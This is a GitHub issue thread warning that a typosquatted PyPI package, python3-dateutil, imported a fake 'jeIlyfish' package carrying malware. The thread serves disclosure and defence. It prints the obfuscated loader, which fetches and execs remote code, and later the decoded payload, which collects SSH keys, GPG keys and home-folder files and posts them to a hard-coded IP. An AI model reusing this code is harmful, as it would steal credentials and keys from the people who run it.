Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PSA: There is a fake version of this package on PyPI with malicious code #984

Closed
lutoma opened this issue Dec 1, 2019 · 15 comments
Closed

PSA: There is a fake version of this package on PyPI with malicious code #984

lutoma opened this issue Dec 1, 2019 · 15 comments

Comments

@lutoma
Copy link

@lutoma lutoma commented Dec 1, 2019

Just a quick heads-up: There is a fake version of this package called python3-dateutil on PyPI that contains additional imports of the jeIlyfish package (itself a fake version of the jellyfish package, that first L is an I). That package in turn contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py:

import zlib
import base64

# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='


ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

which deobfuscates to

# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S

# Edit by @pganssle
raise Exception("Exception added to prevent people from running this accidentally")

import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
 try:from urllib2 import urlopen
 except:from urllib.request import urlopen 
 exec(zlib.decompress(base64.b16decode(re.sub(
  r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
 )[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2

I've sent an email to the Python security team and hope they'll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed. Luckily it's only been up for two days.

@pganssle

This comment has been minimized.

Copy link
Member

@pganssle pganssle commented Dec 1, 2019

@lutoma

This comment has been minimized.

Copy link
Author

@lutoma lutoma commented Dec 1, 2019

The python security team just responded and they've removed the malicious packages, so unless there is some other action you want to take this can be closed I suppose.

@coderanger

This comment has been minimized.

Copy link

@coderanger coderanger commented Dec 1, 2019

The bitly link points at a gitlab.com repo. Has someone contacted them to take that down too?

@pganssle

This comment has been minimized.

Copy link
Member

@pganssle pganssle commented Dec 2, 2019

Thanks @lutoma, I will close this now.

I will note that on @asmeurer's suggestion, I have edited the code so that you have to deliberately modify it in order to execute it, in case someone was blindly copy-pasting to see what it does.

@coderanger Good idea, Gitlab is showing that the user is already reported for abuse, so I assume either you did it or you inspired someone to do it, so thanks!

@pganssle pganssle closed this Dec 2, 2019
@imankulov

This comment has been minimized.

Copy link

@imankulov imankulov commented Dec 4, 2019

Just for the record. If you wonders what the code was actually doing, here's the excerpt of the decoded version.

...

home = os.path.expanduser("~")
if os.path.exists(home):
    data.add(home)
    data.add('\n   ###  1 ls home')
    data.add('\n   '.join(list_dir(home)))
    data.add('\n   ### 2 ls Documents')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
    data.add('\n   ### 3 ls Downloads')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
    data.add('\n   ### 4 ls PycharmProjects')
    data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
    data.add('\n   ### 5 save home files')
    save_files(home)
    data.add('\n   ### 6 save .ssh files')
    save_files(os.path.join(home, '.ssh'))
    data.add('\n   ### 7 save gpg keys')
    save_files(os.path.join(home, '.gnupg'))
    data.add('\n   ### 8 save target')
    save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
    data.add('\n   ### 9 end :)')
#
data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
    'http://68.183.212.246:32258',
    data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
    headers={"Content-type": "application/json"}
)

IP-address 68.183.212.246 belongs to DigitalOcean, already reported via their form: https://www.digitalocean.com/company/contact/abuse/

@ewjoachim

This comment has been minimized.

Copy link

@ewjoachim ewjoachim commented Dec 4, 2019

@pganssle / @imankulov you may want to add another raise Exception() in the snippet of the comment above before someone shoots themselves in the foot :)

@Plazmaz

This comment has been minimized.

Copy link

@Plazmaz Plazmaz commented Dec 4, 2019

For the sake of information gathering, it looks like that bitly link has been pulled (or clicked) a total of 278x:
https://bitly.com/25VZxUbmkr+
(263 are direct referrals)

@TheCedarPrince

This comment has been minimized.

Copy link

@TheCedarPrince TheCedarPrince commented Dec 4, 2019

This is quite disturbing. Do you know how we could identify this package versus the real dateutil package in a pip installation?

@ivanlan9

This comment has been minimized.

Copy link

@ivanlan9 ivanlan9 commented Dec 5, 2019

How about "python-dateutil"? Is that also malicious? It was under my python3 tree, and I had "python3-dateutil" underneath my documention tree, so I went ahead and removed it. I'll see if anything breaks.

@jesup

This comment has been minimized.

Copy link

@jesup jesup commented Dec 5, 2019

FYI, in Fedora 29, there's a "python3-dateutil" package (v 2.7.5, build 31 Jan 2019) which appears to not include jellyfish. The hypothesis is that it's a renamed version of python-dateutil by RedHat.

$ md5sum /var/cache/PackageKit/30/metadata/fedora-30-x86_64/packages/python3-dateutil-2.8.0-1.fc30.noarch.rpm
cc57732e09ed35f85ff4916471387b08 /var/cache/PackageKit/30/metadata/fedora-30-x86_64/packages/python3-dateutil-2.8.0-1.fc30.noarch.rpm

Name : python3-dateutil
Epoch : 1
Version : 2.7.5
Release : 1.fc29
Architecture : noarch
Size : 696 k
Source : python-dateutil-2.7.5-1.fc29.src.rpm
Repository : @System
From repo : updates
Packager : Fedora Project
Buildtime : Thu 31 Jan 2019 10:03:16 AM EST
Install time : Mon 01 Apr 2019 12:51:52 PM EDT
Installed by : root
Summary : Powerful extensions to the standard datetime module
URL : https://github.com/dateutil/dateutil
License : BSD
Description : The dateutil module provides powerful extensions to the standard datetime
: module available in Python.

@pganssle

This comment has been minimized.

Copy link
Member

@pganssle pganssle commented Dec 5, 2019

@TheCedarPrince pip freeze should list everything installed, if the package is called python3-dateutil you have the malicious version.

@ivanlan9 python-dateutil is the normal name for the package on PyPI.

@jesup python3-dateutil is a fairly common naming scheme for linux and other distros that ship code for multiple languages, which is presumably why the person called their malicious package that. It is only the PyPI package called python3-dateutil that is malicious, as far as I can tell. Debian, Ubuntu and Fedora packages should be fine (and when you install them, you should be able to see that python3 -m pip freeze should show python-dateutil when python3 points to the system interpreter).

@SeanKim777

This comment has been minimized.

Copy link

@SeanKim777 SeanKim777 commented Dec 5, 2019

Anyone have hash value (sha256 or MD5) for python3-dateutil and jeIlyfish?
This is to hunt within the environment
eg. hash for jeIlyfish/_jellyfish.py?
and hash for the file contains 68.183.212.246?

@shayneoneill

This comment has been minimized.

Copy link

@shayneoneill shayneoneill commented Dec 5, 2019

Is there some way to search PiPy and Github to find projects with this dependency to give them a heads up?

edit: Some 4K+ hits on "python3-dateutil" when searching github code. Goddamn , what a can of worms this one is :/

@abhiTronix

This comment has been minimized.

Copy link

@abhiTronix abhiTronix commented Dec 5, 2019

Omg, This jeilyfish package stats:

Downloads last day: 13
Downloads last week: 103
Downloads last month: 119

https://pypistats.org/packages/jeilyfish

@vicenteherrera

This comment has been minimized.

Copy link

@vicenteherrera vicenteherrera commented Dec 5, 2019

edit: Some 4K+ hits on "python3-dateutil" when searching github code. Goddamn , what a can of worms this one is :/

As @pganssle has said, that naming scheme is also used for distro packages, not the same as PyPI libraries naming. Certainly that is why that name was chosen in the first place.

It wouldn't be logic to have so many existing instances being that it has been on the wild for a couple of days, while the jeilyfish library has been around for a year (as read at https://www.zdnet.com/article/two-malicious-python-libraries-removed-from-pypi/ ).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
You can’t perform that action at this time.